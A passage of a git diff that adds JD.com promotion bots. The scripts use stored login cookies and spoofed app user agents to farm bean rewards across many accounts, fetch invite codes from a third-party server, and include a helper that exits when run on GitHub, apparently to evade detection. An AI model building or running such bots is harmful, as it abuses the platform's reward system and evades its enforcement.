+ },timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); + } else{ + console.log(data.data.bizMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async (err, resp, data) => { + try { + if (!timeout) console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSGMH_SHARECODES) { + if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSGMH_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + // console.log(readShareCodeRes) + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/sgmh/${randomCount}`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_shop.js b/jd_shop.js new file mode 100644 index 0000000000..3b999c24db --- /dev/null +++ b/jd_shop.js @@ -0,0 +1,166 @@ +/* +进店领豆,每天可拿四京豆 +活动入口:京东APP首页-领京豆-进店领豆 +更新时间:2020-11-03 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#进店领豆 +10 0 * * * jd_shop.js, tag=进店领豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_shop.png, enabled=true +================Loon============ +[Script] +cron "10 0 * * *" script-path=jd_shop.js,tag=进店领豆 +==============Surge=============== +[Script] +进店领豆 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_shop.js +*/ +const $ = new Env('进店领豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = ''; + +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + message = ''; + subTitle = ''; + await jdShop(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdShop() { + const taskData = await getTask(); + if (taskData.code === '0') { + if (!taskData.data.taskList) { + console.log(`${taskData.data.taskErrorTips}\n`); + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n${taskData.data.taskErrorTips}`); + } else { + const { taskList } = taskData.data; + let beanCount = 0; + for (let item of taskList) { + if (item.taskStatus === 3) { + console.log(`${item.shopName} 已拿到2京豆\n`) + } else { + console.log(`taskId::${item.taskId}`) + const doTaskRes = await doTask(item.taskId); + if (doTaskRes.code === '0') { + beanCount += 2; + } + } + } + console.log(`beanCount::${beanCount}`); + if (beanCount > 0) { + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName}\n成功领取${beanCount}京豆`); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + // if ($.isNode()) { + // await notify.BarkNotify(`${$.name}`, `京东账号${$.index} ${UserName}\n成功领取${beanCount}京豆`); + // } + } + } + } +} +function doTask(taskId) { + console.log(`doTask-taskId::${taskId}`) + return new Promise(resolve => { + const body = { 'taskId': `${taskId}` }; + const options = { + url: `${JD_API_HOST}`, + body: `functionId=takeTask&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getTask(body = {}) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}`, + body: `functionId=queryTaskIndex&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('\n进店领豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_speed_redEnvelope.ts b/jd_speed_redEnvelope.ts new file mode 100644 index 0000000000..1f171045bc --- /dev/null +++ b/jd_speed_redEnvelope.ts @@ -0,0 +1,108 @@ +/** + * 极速版-发财大赢家 + * cron : 1 0,8,18 * * * + */ + +import axios from 'axios'; +import {requireConfig, requestAlgo, wait} from './TS_USER_AGENTS'; + + +let cookie: string, res: any, UserName: string, index: number; +let shareCodesSelf: { redEnvelopeId: string, inviter: string }[] = [], shareCodes: { redEnvelopeId: string, inviter: string }[] = [], shareCodesHW: any, id: string = 'PFbUR7wtwUcQ860Sn8WRfw'; +!(async () => { + await requestAlgo('c8bce') + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + res = await api('openRedEnvelopeInteract', '', ''); + if (res.code === 0) { + console.log('当前进度:', res.data.amount * 1, ' 还需要:', res.data.needAmount * 1 ?? (10 - res.data.needAmount * 1).toFixed(2)) + await wait(1000) + } else { + console.log('需要先手动打开红包。火爆?') + } + + res = await api('redEnvelopeInteractHome', '', '') + if (res.data) { + console.log('助力码:', res.data.redEnvelopeId, res.data.inviter) + shareCodesSelf.push({ + 